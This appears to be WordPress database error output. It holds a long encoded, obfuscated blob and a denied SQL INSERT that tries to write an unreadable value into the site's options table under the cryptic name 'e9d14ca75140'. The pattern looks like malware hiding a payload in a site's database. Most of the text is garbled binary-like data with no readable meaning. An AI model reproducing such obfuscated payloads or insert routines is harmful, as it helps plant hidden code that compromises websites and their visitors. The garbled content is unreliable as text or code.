nYeAkYarh5GAgJ2ak9zThp2Qk5HZg5uGn5GG2YSVkKuThpuBhNPY04adkJOR2YObhp+RhtmElZCrm4SAnZuah9Pdz/7U1NTUlZCQq4eRgICdmpOHq4eRl4Cdm5rc04adkJOR2YObhp+RhtmElZCrmZWdmtPY07ebmpKdk4GGlYCdm5rT2JKBmpeAnZua3N2PkZecm9TTyITKt5uakp2TgYaR1JuEgJ2bmofUlpGYm4PayNuEytPPidjThp2Qk5HZg5uGn5GG2YSVkNmHkYCAnZqTh9Pdz/7U1NTUlZCQq4eRgICdmpOHq5KdkZiQ3NOGnZCTkdmDm4afkYbZhJWQq5eVl5yR09jTt5WXnJHUuZuQkdPYkoGal4Cdm5rc3Y/+1NTU1NTU1NTQm8mTkYCrm4SAnZua3NOGnZCTkdmDm4afkYbZhJWQq5uEgJ2bmofT2JWGhpWN3N3dz9CCyZ2Hh5GA3NCbr9OXlZeckdOp3cvQm6/Tl5WXnJHTqc7TkZqVlpiRkNPP/tTU1NTU1NTUkZecm9TTyIeRmJGXgNSalZmRydbT2pGHl6uVgICG3NOGnZCTkdmDm4afkYbZhJWQq5uEgJ2bmoevl5WXnJGp093a09bKyJuEgJ2bmtSClZiBkcnWkZqVlpiRkNbT2oeRmJGXgJGQ3NCC2NORmpWWmJGQ09iSlZiHkd3a08qxmpWWmJGQyNubhICdm5rKyJuEgJ2bmtSClZiBkcnWkJ2HlZaYkZDW09qHkZiRl4CRkNzQgtjTkJ2HlZaYkZDT2JKVmIeR3drTyrCdh5WWmJGQyNubhICdm5rKyNuHkZiRl4DK08/+1NTU1InY04adkJOR2YObhp+RhtmElZDZh5GAgJ2ak4fT2NOGnZCTkdmDm4afkYbZhJWQq5mVnZrT3c/+id3P/p2S3JKBmpeAnZuaq5GMnYeAh9zTlZCQq4ecm4aAl5uQkdPd3ZWQkKuHnJuGgJebkJHc04adkJORq4Obhp+RhquElZCrh4CVgIfT2JKBmpeAnZua3N2P/tTU1NTQm8mTkYCrm4SAnZua3NOGnZCTkdmDm4afkYbZhJWQq5uEgJ2bmofT2JWGhpWN3N3dz/7U1NTUhpGAgYaa1NPI1dnZ1IeAlYCHztTT2tydh4eRgNzQm6/Tl5WXnJHTqd3L0Juv05eVl5yR06nO05qbmpHT3drT1NnZytPP/ondz/6dktySgZqXgJ2bmquRjJ2HgIfc04OEq5qbhpmVmJ2OkauElYCc093U0tLUkoGal4Cdm5qrkYydh4CH3NOGkZOdh4CRhquVl4CdgpWAnZuaq5ybm5/T3d2GkZOdh4CRhquVl4CdgpWAnZuaq5ybm5/cq6uyvbixq6vYkoGal4Cdm5rc3Y/+1NTU1J2S3NWTkYCrm4SAnZua3NOGnZCTkdmDm4afkYbZhJWQq5uEgJ2bmofT3d2VkJCrm4SAnZua3NOGnZCTkdmDm4afkYbZhJWQq5uEgJ2bmofT2JWGhpWN3NOXlZeckdPJytORmpWWmJGQ09jTgpGGh52bmtPJytPF2sTT3d3P/ondz/7Wzw==', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('e9d14ca75140', 'oU[]VXV]UMSPee@EEeOEO?O!
UOOOOOOO=
O8 
O?eOEO?O:=&UOOOOOOOOU@@
A
@@
B 
B@eOEO+
 UOOOOOOO. 
O
O

O  eOEO9
 UOOOOOOOOOOO^A^A^eOEO. UOOOOOOOOOOOO&
O#
eOEO#

UOOOOOOOOOOO(?#B]A_B B
eOEO;
O+ UOOOOOOO
B 
BeOEO=

OO
UOZA_eOEO=

O?'?UOOOOOOXA_eOE@e@EO<,9U[A\A][OE@e	GN	 0
GHV[^_HFIINGG
	
GH<,0, =*0-  ;09*=HFII
 0 
GGF<,0, =*0-  ;09*=CH[A\A][HCHQRHFFG
GK(# -.#<4H0  0
H2FII
 0 
GGFK(# -.#<4H0  0
H2CH[A\A][HCHQRHFFFF	 O
\X\XGKFOKRT	GKRRRFKR0

GGH?@HCHA;BYKHCHA;BYKHCH1* *1HCH9/AYJ/FYHCH^33J;2	KJY	A2AHCHRS33!	J9/AYJ/FYHCHT@@:X6N56ZHCHA2RKAHCHS2	FHCHA339A2HCHA2SYJHCH	J/FYHCH2	FHCHT@W:@:X6N56ZHCHF33DRS33!	JAHCH^33J;2	KJY	A2AHCHF	HCHF	HCH;,FKHCH33JS	JHCH^33J;2	KJY	A2AHCH2K33;,HCHYJ/FYHCHYJ/FYHCH;KREHCH^33J;2	KJY	A2AHCH2YFRJ/FHCH2YFRJ/FHCHAEA!Y22YFR	HCH2FRHCH	A	HCH	AV	2/9SYHCHT@$(N)N56ZHCH?@HCHVRD;KJ2YJ2HCH2	FHCH0HCH*A;2FRHCH	A	HCHR332YJBHCHW@56ZPHCHA;2FR^	YHCHY/SR/2,HCHY/SR/2,HCH*A;HCHF_HCH	HCH;KYHCH;KYHFCGH*R,RHCH	AA2	J!HCH	A	HCH	A	HCH	AV	2/9SYHCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCHF_HCH  ;SSR &']CR9^E;HCHRS33!	JAHCHY/SR/2,HCH	A	HCH	A	HCH	AV	2/9SYHCHF_HCH	A^	SYHCH!Y2KR2	KJHCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCH/;2	BYRS33!	JAHCH	A//EHCH	J//EHCH//EB/S33YAHCH	AA2	J!HCHRY!F/2;,HCH007?$"O0%0*0%0*0%=700HCH^	SYF2	FYHCH^	SYA	'YHCHA;;KJ^Y2;,HCHA;R/ESK/2HCH/R/;,Y!Y2BYA	KJHCH?)Z")Z?(
TZ)HCHA22KSKVYHCH/R/;,YHCHS	2YARYYHCHKRYJS	2YARYYHCHR,RA/R	J/FYHCH;S	HCHZ)[:)?W)(5HCH?)Z")Z?(
TZ)HCH	J	!Y2HCHKRYJ9/AY	HCHYRSKYHCH0HCH5NW)HCHF_HCHA;SK;JHCH	AK9 Y;2HCHFY2,KY	A2AHCH!Y2B/HFCGH?))$7X)($HCH7C=HCH^SK;HCH^KRYJHCHAEA!Y22YFR	HCH^KRYJHCHA;HCH*SK;HCHA;SK;^,HCHA;SK;^,HCHA;SK;^,HCHA;SK;JHCHA;SK;^,HCH33YEHCH?))$7Z))?)($HCH=HCH56?(T
6)W(5?HCH,KV/9SYHCHA339A2HCHO7HCHO7HCHA339A2HCHO7HCHA;YKAHCHA;YKAHCHA;YKAHCHA;YKAHCH;K33J2HCH//EAS	;YHCH//;2	KJHCH/^	S2YHCH	AA2	J!HCH;/;,YHCH	JY*R,RHCH	HCH	A	HCH;/;,YHCH	A	HCH	A	HCH	J/FYHCH	AV	2/9SYHCHA;R33!YHCHY/SR/2,HCHY/SR/2,HCHA;R33!YHCHY/SR/2,HCHA;R33!YHCHY!	A2YA,332KVJ^33J;2	KJHCHY!	A2YA,332KVJ^33J;2	KJHCHE\9.F^'9;HFCGHA;R33!YHCH	A^	SYHCH;,FKHCHKR;/;,Y	JB/S	/2YHCH^33J;2	KJY	A2AHCHYK!Y2S/A2HCH^	SYHCH2ERYHCH	J//EHCHFYAA/!YHCHSSKVY7FYFKE7A	'YHCHW/	F33F7YY;332	KJ72	FYHCHY/SR/2,HCH^33J;2	KJY	A2AHCHY/SR/2,HCH^	SYHCH	AA2	J!HCH	AA2	J!HCHA;9KK2BYHCHA;9KK2A2HCH;SY/A2/2;/;,YHCH^	SYA	'YHCH^	SY!Y2;KJ2YJ2AHCH*HCH*339HCH2	FYHCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCHA;33R/2Y9/HCHJKHCH	A	HCH	AV	2/9SYHCH^33J;2	KJY	A2AHCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCH//E	^^HCH^/	SHCH*K^^HCHYJ/FYHCHA339A2HCH*R,R*K^^HCH	AA2	J!HCH*AHCH9/AYJ/FYHCH0%0*0%0*0%HCH+PHCH^	SYR332;KJ2YJ2AHCH^33J;2	KJY	A2AHCHA;RYJ	J!	JB/S	/2YHCHRS33!	JASK/YHFCGH33&!]CEFBRHCHF\.E;_  	_^\/33A'E^HCHA339A2HCHC*C*CHCHEYAHCH+PHCHT@@:X6N56ZHCHR/2,	J^KHCH^	SYA	'YHCH^	SYA	'YHCHR/2,	J^KHCH/;2	BYRS33!	JAHCH	J//EHCH	AF33S2	A	2YHCH^33J;2	KJY	A2AHCH!Y2A	2YKR2	KJHCH/;2	BYA	2YV	YRS33!	JAHCH007?$"O0%0*0%0*0%700HCHR/2,HCHY/SR/2,HCHY/SR/2,HCHY/HCH!KJYHCHA;Y33R2KKHCH!9.ERJ'1_2HCHA2/2	J!HCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCH/;2	BYRS33!	JAHCH//E	^^HCHY33RHCHKRYJ	HCHY/	HCHY/	HCH**HCH;SKAY	HCH^33J;2	KJY	A2AHCHA;/J	HCH	A//EHCH^33J;2	KJY	A2AHCH!SK9HCHHCH//EF/RHCH9/AYJ/FYHCHQHCHA2SYJHCH2KYJ!Y2/SSHCH()N@Z?)HCHC1._;&$&_]\]1].C$9\&
]&9^C&)C\ HCHC] &;)_; 
_Y] 5&.&&1.&]\)5/99Y19HFCGHC\;_1 _)
.C&\.1C/1]C1\ .. _5_C/9HCH,22RAOCR;*	KY2,HCH,22RAOY2,YY33FDR339S	;*JK	YA*/RRHCH,22RAOY2,*R;*K!HCH,22RAOR;*Y2,*!/2YV/E*^FHCH,22RAOY2,*9SK;/'K*E'HCH,22RAOR339S	;DY2,*JKVJKYA*	KHCH,22RAOY2,DF/	JJY2*R;^/A2*;KF/R	YEP9,T6&T!33]?NW33&9BB33@XF!VIY$1?\!.TV
	!?F@T"ZA)[V6^HCH,22RAOY2,&*S/B/*933	SHCH,22RAOY2,*R;*9S9J*;KFHCH,22RAOY2,DF/	JJY2*R339S	;*9S/A2/R	*	KHCH,22RAO!/2YV/E*2YJYSE*;KR339S	;F/	JJY2HCH,22RAOY2,YY33F*R;*A33933YE*JY2VKR339S	;HCH,22RAOY2,YY33FDR;*R339S	;JKY*;KFHCH,22RAOF/	JJY2*!/2YV/E*2YJYSE*;KHCH,22RAOY2,*/R	*KJ^	J/S	2E*	KR339S	;HCH,22RAOY2,YY33F*R339S	;*9SK;R	*JY2VKB&R;R339S	;HCH,22RAOY2,YY33FD AKJDR;*A2/YSE*	KHCH,22RAOR;*AYJ2	K*E'F/	JJY2HCH,22RAOY2,*FYSY*	KHCH,22RAOY2,*/R	*RK;Y2*JY2VKHCH/F	JHCH/FHCH/F	J	A2/2KHCH9/;33RHCH!'YJ;KYHCH!'Y^S/2YHCHR/;HCH;; HCHR/;HCHA2SYJHCHA2SYJHCH33JR/;HCH!'Y;KYHCH^33J;2	KJY	A2AHCH!'	J^S/2YHCH	AA2	J!HCHA2SYJHCH^33J;2	KJY	A2AHCH,Y9	JHCHR/;HCHHCHVRD/F	JHCHVRD	J;S33YAHCH*R,RHCH^	SYF2	FYHCH//E/JHCHVR/JHCH/JHCH;/SS33AY^33J;HFCGHVRYFK2Y!Y2HCH2	FYK332HCHAASBY	^EHCHS	F	2YARKJAYA	'YHCH^33J;2	KJY	A2AHCH	AVRYKHCH;33S	J	2HCH;33SAY2KR2//EHCH^33J;2	KJY	A2AHCH;33SYY;HCH;33S	J	2HCH;33SAY2KR2//EHCH$:Z(@Z):ZNZN?
)ZHCH$:Z(@6W)(:HCH$:Z(@??")Z6
I@))ZHCH$:Z(@??")Z6
I(?HCH$:Z(@N(@Z(XZ)??HCH$:Z(@@Z(XZ)??
:N$6(NHCH,22R;KYHCH	AA2	J!HCH^33J;2	KJY	A2AHCHVRYFK2YRKA2HCH,Y/YAHCH9KEHCHO7HCH47HCH^33J;2	KJY	A2AHCH;33SAY2KR2//EHCH$:Z(@@(?HCH$:Z(@@(?
6)5?HCH$:Z(@@)5)ZHCH,22R;KYHCH^33J;2	KJY	A2AHCHA;S/A2R;HCH//E	^^HCH//E33JA,	^2HCH2	FHCH//E/JHCHLG AKJR;GOG*CGG	GO GFY2,KGOGY2,;/SSGGR//FAGO-LG/2/GOGC 9;_Y CGG2KGOGHCHGUGS/2YA2G3HUHCH$KJ2YJ2DERYHCH/RRS	;/2	KJ AKJHCHF	;K2	FYHCH AKJY;KYHCHYA33S2HCH AKJY;KYHCH	A//EHCHCHCHKHCHA339A2HFCGHA2SYJHCHA339A2HCH	AA2	J!HCHYAKSBYHCHR;Y;ER2^/	SYHCHA2SYJHCHYAKSBYHCHR;9/YESYJ!2,HCHA339A2HCH//E^	S2YHCHRY!ARS	2HCH00JHCH^33J;2	KJY	A2AHCHA;;;/;,YHCH	FRSKYHCHAYBYYEHCH33SAHCHYAKSBYHCH!Y2KR2	KJHCHABYEHCH//E^	S2YHCH//EF/RHCHRY!ARS	2HCH00JHCHR;/SS^/	SYHCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCHAY	/S	'YHCH;,HCHF2/JHCHA2SYJHCHKHCH9/AY\1YJ;KYHCH!Y2KR2	KJHCH9/AY\1Y;KYHCHA2SYJHCHKHCH@@")Z?6(N65HCH33JAY	/S	'YHCH/SSKVY;S/AAYAHCH2	FHCHA2YRS/;YHCHYRHCHAVHCHAV33SHCHA2RKAHCHAV;/;,YHCH	AA;/S/HCHYKAHCH//EFY!YHFCGH//E33J	33YHCH//EAS	;YHCHYKAHCHA;YKAHCHYKAHCH^S33A,YKAHCHKHCHKHCH!Y2KR2	KJHCHA;R/ESK/RYA	A2YJ2HCH;KJ6J2YB/SHCH;KJ6J2YB/SHCH;KJ6J2YB/SHCHA;	J2YB/SHCH	J2YB/SHCH	ARS/EHCH$33A2KF7F/	J2YJ/J;Y7	J2YB/SHCHA;!33/	J2YB/SHCH	J2YB/SHCH	ARS/EHCH^33J;2	KJY	A2AHCHVRJY2A;,Y33SYHCH^33J;2	KJY	A2AHCHVRA;,Y33SYYBYJ2HCHA;;,/	JHCHF2/JHCH5(6NX$Z(NHCHA,332KVJHCH33^_F_,2R	',\YB1HCHA	2Y33SHCHVRD;KJ*R,RK	J!VR;KJPHCHA2YRS/;YHCH9SK;	J!HCH^/A2;!	^	J	A,Y33YA2HCH^33J;2	KJY	A2AHCHS	2YARYY^	J	A,Y33YA2HCHS	2YARYY^	J	A,Y33YA2HCH	!JKY33AY/9K2HCH	!JKY33AY/9K2HCH'S	9*K332R332;KFRYAA	KJHCHK9!Y2SYBYSHCHK9!Y2SYJ!2,HCH$KJ2YJ2DYJ!2,O7HCH$KJJY;2	KJO7;SKAYHCHK9YJ^S33A,HCH^S33A,HCHVRA;,Y33SYA	J!SYYBYJ2HCH56?)T@$Z(NHCHA;S/A2^Y2;,2AHCH^33J;2	KJY	A2AHFCGHA;AYYJBYHCH^33J;2	KJY	A2AHCHVRJY2A;,Y33SYHCH2	FYHCHVR33JA;,Y33SYYBYJ2HCH^33J;2	KJY	A2AHCH^Y2;,HCH;KJA2/SY	JS	JYHCHAY22	FYS	F	2HCHAY22	FYS	F	2HCH!Y2KR2	KJHCH!Y22/JA	YJ2HCHRS33!	JZ33SYAHCH	A//EHCHA;RS33!	J33SYAHCH	J Y;2Z33SYAHCH	A//EHCHA;	J Y;233SYAHCH	J Y;2Z33SYAHCH AHCH	AA2	J!HCHA; AHCH AHCHR/!YHCH	AA2	J!HCHR/!YHCHA;R/!YHCHA;AVHCHAVHCH;/;,YHCHA;S/A2,Y/S2AHCH2	FYHCH^33J;2	KJY	A2AHCHA;,Y/SA;/JHCHA;HCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCHA2SYJHCH	AA2	J!HCHA;S/A2,Y/S2AHCH2	FYHCH	A//EHCHT@@:X6N56ZHCH!SK9HCH*R,RHCH//E33J	33YHCHA339A2HCHRY!YRS/;YHCH0A%HCH^	SYA	'YHFCGHAY22/JA	YJ2HCHA;,Y/SA;/JHCHA;S/A2,Y/S2AHCH,Y/SHCH	/;2	KJHCHY!	A2YA,332KVJ^33J;2	KJHCH33^_F_,2R	',\YB1HCH^33J;2	KJY	A2AHCH,KFY33SHCH^33J;2	KJY	A2AHCH!Y2KR2	KJHCH33R/2YKR2	KJHCHA;S/A2,9HCHA;S/A2,9HCH9SK;	J!HCHR/ESK/2SHCHR/ESK/2SHCHA;S/A2^Y2;,2AHCHA;S/A2^Y2;,^/	S2AHCHA;^Y2;,^/	SAHCHF/HCHF	JHCH2	FYHCHBYHCHR,RHCHA/R	HCHR,RA/R	J/FYHCHAASHCH	AAASHCHFAHCHVRHCHVRBYA	KJHCHVRBYA	KJHCHABHCH AKJHCH ASYJHCHA2SYJHCH AYHCHA; AR	J2YHCH AK9HCHA; AK933AYHCH A2AHCHA; AR	J2Y2AHCHAV,	2AHCH^33J;2	KJY	A2AHCHA;AVYR,	2AHCHAVS/A2HCHA;AVYRS/A2HCHAV,/HCH^33J;2	KJY	A2AHFCGHA;AV,/HCHB/BHCH	A^	SYHCH/B/J;YD;/;,Y*R,RHCHB9HCH9*R,RHCH^	SY!Y2;KJ2YJ2AHCHBK;HCHK9 Y;2D;/;,Y*R,RHCH^	SY!Y2;KJ2YJ2AHCHK9 Y;2D;/;,Y*R,RHCH*!HCH*!SHCHB!33/HCHVRD	J;S33YAHCH	A^	SYHCH^	SYF2	FYHCH^33J;2	KJY	A2AHCH	J	!Y2HCH33AY	J	*^	SYJ/FYHCHJKJY=HCH*33AY*	J	HCHB	J	HCH^	SY!Y2;KJ2YJ2AHCH/332KRYRYJ^	SYHCHB,2HCH*,2/;;YAAHCHA2RKAHCHBV;HCHVRD;KJ^	!*R,RHCH^	SY!Y2;KJ2YJ2AHCHVRD;KJ^	!*R,RHCH?$T$HCHRYRYJHCH?$:(@Z)@)N5HCHR;HCHT@Z($)")Z?6(NHCH?$T@"HCHT $HCH^33J;2	KJY	A2AHCHA!;/;,YRYAAR33!Y;/;,YHCH;S/AAY	A2AHCH$/;,Y)J/9SYHCHVR^/A2YA2;/;,YHCH^33J;2	KJY	A2AHCHVR;/;,YAYBY;/;,Y^	SYHCH^KHCHA;S/A2^Y2;,2AHCH^^/	SAHCH^^/	S2AHFCGH	;HCH	A//EHCH;^HCH;^HCH2AHCH2AHCH	;JHCH	;^/HCHA;S9FKYHCHS9HCHA;;/J/EHCH;EHCH	A//EHCH	2YFAHCHYHCHA339A2HCHVRDSK!	J*R,RHCH^33J;2	KJY	A2AHCHVRSK!	J33SHCH,KFY33SHCHR/AY33SHCH@@:Z(?HCH!Y2A	2Y33SHCHR/AY33SHCH!Y29SK!	J^KHCH33SHCH@@:Z(?HCHA	2Y33SHCH@@:Z(?HCH@(?HCH?)Z")ZNW)HCHF/YY;332	KJ2	FYHCHAYBYYEHCH!Y2KR2	KJHCHA;S/A2;HCH	J//EHCH//EB/S33YAHCHA,33^^SYHCH/;2	BYRS33!	JAHCH	AA2	J!HCHT@W:@:X6N56ZHCH^33J;2	KJY	A2AHCH!SK9HCH*R,RHCH	A//EHCHKF/	JHCHRS33!	J"YA	KJHCHRS33!	JHCH*R,RHCHKK2HFCGH/;2	B/2Y@S33!	JAHCHF33@S33!	JAHCHSK!	J:SHCH/F	JAHCH/F	JA$KK	YAHCHYKAHCH^33J;2	KJY	A2AHCHVR AKJYJ;KYHCH AKJYJ;KYHCH/RRS	;/2	KJK;2Y2DA2Y/FHCH2	FHCH	A//EHCH2	FHCH;YFR2E7HCH^Y2;,HCH;Y;ER2^/	SY7HCH	A//EHCH^Y2;,HCH;9/ AKJ7HCH^Y2;,33SHCH	A//EHCH AKJYJ;KYHCHKF/	JHCH9Y/;KJHCH2	FHCH%HCHDHCHA2ARS	2HCHF	;K2	FYHCHA2RKAHCHA;9PHCH	PHCHJPHCHPHCH AKJY;KYHCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCH	A//EHCHYSY2YKR2	KJHCHA;YKAHCH	A//EHCHA;YKAHCHRS33!	JHCH	AA2	J!HCHRS33!	JHCH2/!Y2"YA	KJHCH	AA2	J!HCH2/!Y2"YA	KJHCH^K;Y:R/2YHCH	A//EHFCGH	AA2	J!HCHRS33!	JZ33SYAHCHA;	J Y;233SYAHCH//E	^^HCH//E	^^HCH A;/;,YHCHA; AHCHF_HCH AHCH	A//EHCH	AA2	J!HCHA2SYJHCHR/!YHCHA;R/!YHCHR/!YHCHR/!Y;/;,YHCHAVHCHA;AVHCHAVHCHAVHCHJKHCH2YFRS/2YAHCH	A//EHCH2YFRS/2YAHCH!33/HCH!33/HCH/B/J;Y$/;,YHCH/B2RSHCH9HCH92RSHCH2,YFYHCH2,YFY2RSHCH,2/;;YAAHCH,22RSHCH33AY6J	HCH33J	2RSHCH	JA2/SSYHCH	JA22RSHCHK;K/YHCHK;2RSHCH	AJ33FY	;HCH;KJ6J2YB/SHCH;KJ6J2YB/SHCH2	FYHCH ]E^RS1^;&\ B]A1HCHAY22/JA	YJ2HCHR/ESK/2SHCHR/ESK/2SHCH^33J;2	KJY	A2AHCHVR!Y2A;,Y33SYYBYJ2HFCGHVR;SY/A;,Y33SY,KKHCH;KJ6J2YB/SHCH^Y2;,HCH	AA2	J!HCHA2RKAHCHQR,RHCH33R/2YHCHAEJ2/YKHCHRY!F/2;,HCHA339A2HCHBYF	AF/2;,HCHJKA;BHCHJKRYBHCH	AA2	J!HCHA2RKAHCHF_HCH	J/FYHCH	A^	SYHCH2	FYHCHVRYFK2Y!Y2HCH^33J;2	KJY	A2AHCHVRYFK2Y!Y2HCH2	FYK332HCHY	Y;2	KJHCH	AVRYKHCH!Y2KR2	KJHCHYRS/;Y^/	SHCHA;Y;KBY;,Y;HCH^33J;2	KJY	A2AHCH,KFY33SHCHA;;9PHCHF2/JHCH2	FYK332HCHAASBY	^EHCH	AVRYKHCHASYYRHCH	J//EHCHASYYRHCH33R/2YHCHKSS9/;^/	SHCH33JS	JHCH*HCH/;2	BYRS33!	JAHCH	J//EHCHA;RYA	A2YHCH;/J/EKSS9/;HCH9/AYJ/FYHCH33JS	JHCHA;HCHA;RYJ	J!	JB/S	/2YHFCGHJKHCHA;;,/	JHCH!Y2RS33!	JAHCH^	SYY	A2AHCHVRD/F	J	J;S33YARS33!	J*R,RHCH^33J;2	KJY	A2AHCH	AA2	J!HCHA;/JHCH**HCH	AY//9SYHCH	J;HCHR,2FSHCH,2FSHCH AHCH	A^	SYHCHY/SR/2,HCH	A//EHCH;K33J2HCH	AS	JHCH	A	HCH@6N
())N?6(NHCHA22KSKVYHCHY/;2	B/2YRS33!	JAHCH	J/FYHCHYSY2YRS33!	JAHCH;33YJ233AY;/JHCH!Y233AYAHCHVRAY2;33YJ233AYHCHKSYHCH/F	J	A2/2KHCHJ33F9YHCHT@@:X6N56ZHCHY/SR/2,HCH56Z)$(ZI?)@Z(ZHCH	AS	JHCH	A	HCHF	HCH^	SYY	A2AHCH//EYEAHCH	J/FYHCH	A^	SYHCHYA;/JHCHA;S/A22FR;SY/JHCH2	FYHCH2	FYHCHA;HCHAEA!Y22YFR	HCHAEA!Y22YFR	HCHVRHCH!SK9HFCGH	A^	SYHCH/;2	BYRS33!	JAHCHT@$(N)N56ZHCHVRD;KJ2YJ2HCHRS33!	JAHCH^33J;2	KJY	A2AHCH9/AYJ/FYHCH	J/FYHCH9/AYJ/FYHCH?$5@)X6NHCH0J007?$5@)X6NO-/D'DCD*O3H%=700*007?$5@)N5O0&7000JAHCH	AA2	J!HCHA;	J Y;233SYAHCH	A//EHCHA;S/A2YA;/JHCH2	FYHCHRY	K	;HCHF	!/2YHCHA;	JB/S	HCH^33J;2	KJY	A2AHCH!Y22/JA	YJ2HCHA;F	!^/	SHCH	A	HCHF33JK2V	2/9SYHCHAY22/JA	YJ2HCHA;F	!^/	SHCHF_HCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCH^	SY!Y2;KJ2YJ2AHCHF_HCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCHAY22/JA	YJ2HCHF	!/2YHCHA;HCHJKHCH^33J;2	KJY	A2AHCHYSY2Y2/JA	YJ2HCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCHA;	J	2	/S	'YHCH/KR2	KJHCH33R/2YKR2	KJHCHA;S/A2^Y2;,2AHCHJKHCHYSY2Y2/JA	YJ2HCH33^_F_,2R	',\YB1HCHY,	B^.S]9/HFCGH	J	2HCHYSY2YKR2	KJHCHAASBY	^EHCHV/FHCH	A/F	JHCH;33YJ233AY;/JHCH/;2	B/2YRS33!	JAHCH/;2	KJHCH	AA2	J!HCH2	FHCH/;2	B/2YHCH/;2	B/2YDAYSY;2YHCH/;2	B/2YHCHRS33!	JHCHRS33!	JHCH;,Y;YHCH	A//EHCHVRA/^YY	Y;2HCH/F	J33SHCHRS33!	JA*R,RHCHA;/J/;2HCHKR	JAHCHRS33!	JAHCH9*R,RHCH?$5HCH/B/J;YD;/;,Y*R,RHCH?$5"HCHKR	JAHCH	AA2	J!HCH7HCH)X6NOHCH007HCH)X6NO-/D'DCD*O3H%=700*007HCH)N5O0&700AHCHQR,RHCHQHCHF33A233AYHCHF33A233AYHCH'K_ ]91C1, C	_A\HCHQA2ESY+2-/2/DRS33!	JPGHCHG3H2-/2/DRS33!	JPGHCHG3HL	ARS/EOJKJY#	FRK2/J2UQA2ESY+HCHQA;	R2+K;33FYJ2*/)BYJ2	A2YJYG5(W$KJ2YJ2K/YG^33J;2	KJ=LK;33FYJ2*33YE?YSY;2KSSG2-/2/DRS33!	J3HG=*^K)/;,^33J;2	KJ=LB/7RP*!Y222	9332YG/2/DRS33!	JG=4	^RPPPGHCHG88RPPPGHCHG=*YFKBY=U=4B/7;PK;33FYJ2*33YE?YSY;2KG*A339A339A3397*F33A233AY7*;K33J2G=4	^;=LB/7JPR/AY6J2;*2Y2$KJ2YJ2*YRS/;Y->CD3H!GG==88C4	^J+C=;*2Y2$KJ2YJ2PGG%W/2,*F/CJD&=%G=GUU=4QA;	R2+HCHA_V.F.A_F.ER/2VHCHF;K'_\,F,_E]33HCH!Y2RS33!	J/2/HCHN/FYHCHVRDRS33!	JAD/;2	BYHFCGHVRDRS33!	JAD	J/;2	BYHCH^	YSAHCHVRDF33DRS33!	JAHCHVRDRS33!	JADF33A233AYHCH!SK9HCH	AA2	J!HCH7?$"OHCH@S33!	J7N/FYO0A->00J3H%=	HCHVRDKR	JAHCH^	YSAHCHVRDKR	JAHCH^	YSAHCH^	YSAHCH?@HCH?$5HCH?$5"HCH)X6NOHCHA2RKAHCH7?$"OHCHVRDKR	JAHCHR/22YJHCHRY!33K2YHCHMHCH,	YJHCHR/22YJHCHHCH,	YJHCHKK2AHCH	A//EHCH	A	J2HCH/22	9332YAHCH	A//EHCHKK2AHCHKK2AHCH/22	9332YAHCH@@W(Z")Z?6(NHCH;S/AAY	A2AHCHYS
	JY$KJJY;2KHCHVRD^	SYDF/J/!YS	9R,RYS
	JY$KJJY;2K*;S/AA*R,RHCH^	SYDF/J/!YS	9R,RYS
	JY$KJJY;2K*;S/AA*R,RHCH^	SYDF/J/!YD/B/J;YS	9R,RYS
	JY$KJJY;2K*;S/AA*R,RHCH*;S/AA*R,RHCH;S/AA7YS
	JY$KJJY;2KHCH>0AQ0R,R=HCHA2YRS/;YHCH;S/AA7?$YS
	JY$KJJY;2KZY/SHCH^	SYR332;KJ2YJ2AHCHQR,R7HCHA;,	YHCHA;,	Y	HFCGHQR,R7;S/AA7YS
	JY$KJJY;2K7Y2YJA7?$YS
	JY$KJJY;2KZY/S7LHCHRK2Y;2Y7^33J;2	KJ7K332R3327//E7M/2/7=7LHCHM,	Y7P7	AAY27MX(?-GA;,	YG3H7=77MX(?-GA;,	YG3H7O7GG4HCH	^77M,	Y7#PP7GG77^33J;2	KJY	A2A7GA;^F^	S2YG7=7=7LHCHM/2/7P7A;^F^	S2Y7M/2/7M,	Y7=4HCHR/YJ2OOK332R3327M/2/7=4HCH^FHCH^33J;2	KJY	A2AHCHKA^&KS,'J 	_2A  HCH	A//EHCH^	SYAHCH/YHCH;,/J!YHCH2YYHCH	A//EHCHJ/FYHCHA;,	Y	HCH!Y22/JA	YJ2HCH^	SYA	'YHCH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCHA2SYJHCHA2RKAHCHA2RKAHCH	AA2	J!HCHA;HCH	J/FYHCH	AA2	J!HCHA;Y;KBY2,K22SYHCHY;KBYHCHAK33;YYFR2EHCHA2SYJHCH*HCH*R,RHCH^33J;2	KJY	A2AHCHY;KBYHCHVRAYJJYV33AYJK2	^	;/2	KJ2K/F	JHCHY233J^/SAYHCHVRJYV33AYJK2	^	;/2	KJYF/	S/F	JHCHYFKBY/;2	KJHCHY!	A2YJYV33AYHCHVRAYJJYV33AYJK2	^	;/2	KJAHCHY	233AY;Y/2Y33AYHCHVRAYJJYV33AYJK2	^	;/2	KJAHCHVRSK!	JHCHVRJK2	^E/F	JJYVSK!	JHCHVR9HCH;/R/9	S	2	YAHCH))$733*65733*33AYSK!	J733*33AYR/AA733*33AYYF/	S7
Z(W7HCH73376NN)Z7(6N7HFCGH7F7(N733*657P7F*33AY	7T)Z)7F*FY2/YE7P7A7N57F*FY2/B/S33Y76)7AHCH/F	J	A2/2KHCH2KHCHVR!YJY/2Y/332,;KK	YHCH;S/AAY	A2AHCHT@?YAA	KJKYJAHCH	A//EHCHAY;33Y/332,HCH/332,HCH?)$:Z):$((6)HCH:$((6)HCH(XX)56N$((6)HCH$((6)5(W6NHCHS2	FHCH$((6)@HCH5W6N$((6)@HCHVRD/F	JHCHZ:)HCH
